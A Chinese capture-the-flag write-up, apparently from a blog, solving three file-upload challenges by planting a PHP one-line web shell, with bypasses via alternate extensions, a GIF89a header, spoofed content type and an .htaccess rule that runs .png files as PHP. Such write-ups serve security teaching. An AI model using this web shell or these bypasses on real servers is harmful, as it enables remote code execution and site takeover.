[极客大挑战 2019]Upload、[ACTF2020 新生赛]Upload、[MRCTF2020]你传你呢

[极客大挑战 2019]Upload

打开环境,是上传一句话木马的题

先上传1.php试试,发现不可以

试试改后缀为phtml,提示语句中不能包含<?,只能改木马:

<script language="php">eval($_POST['line']);</script>

还是报错没有图片

传一个真正的不含<?的图片马(还是报错)

想到用文件头GIF89a绕过,bp抓包修改,终于上传成功

在文件内容的起始位置加上一个GIF89a,文件就会被认为是一个图片。

 连接蚁剑,注意修改路径(一般为upload/文件名)

在根目录得flag

[ACTF2020 新生赛]Upload

文件上传一句话木马

 试试1.php,弹窗提示

抓包修改Type为jpg图片,文件后缀名可用.pht

 上传成功,得到路径

 连接蚁剑,得到flag。

[MRCTF2020]你传你🐎呢

上传1.php文件

bp抓包后,尝试多种绕过方式都不行

 

(1)发现可以用路径拼接绕过

(2)偶然上传了代码如下的png文件,发现也能上传成功

<script language="php">eval($_POST['line']);</script>

使用.htaccess文件将png解析为php

格式:application/octet-stream

SetHandler application/x-httpd-php .png   //.htaccess文件内容

连接蚁剑,在根目录下得到flag

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-27 01:10:02       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-27 01:10:02       100 阅读
  3. 在Django里面运行非项目文件

    2024-04-27 01:10:02       82 阅读
  4. Python语言-面向对象

    2024-04-27 01:10:02       91 阅读

热门阅读

  1. 得物sign参数逆向分析与Python算法还原

    2024-04-27 01:10:02       35 阅读
  2. 想要活得充实,必须做到以下7点。

    2024-04-27 01:10:02       33 阅读
  3. leetcode2739--总行驶距离

    2024-04-27 01:10:02       34 阅读
  4. [leetcode] 1071. 字符串的最大公因子

    2024-04-27 01:10:02       34 阅读
  5. MySQL 联合索引的原理及失效原理

    2024-04-27 01:10:02       31 阅读
  6. bgzip解压.gz文件并保留原文件

    2024-04-27 01:10:02       31 阅读
  7. 嵌入式软件工程师要会画板子吗?

    2024-04-27 01:10:02       33 阅读
  8. 《设计模式之美》第四章 总结

    2024-04-27 01:10:02       32 阅读
  9. python常见的语法详解

    2024-04-27 01:10:02       33 阅读
  10. 泰国SAP项目须知- 泰国企业经营税务要点和BOI

    2024-04-27 01:10:02       35 阅读
  11. 算法训练营day24

    2024-04-27 01:10:02       35 阅读
  12. GD32F4xx 通用定时器输出PWM

    2024-04-27 01:10:02       31 阅读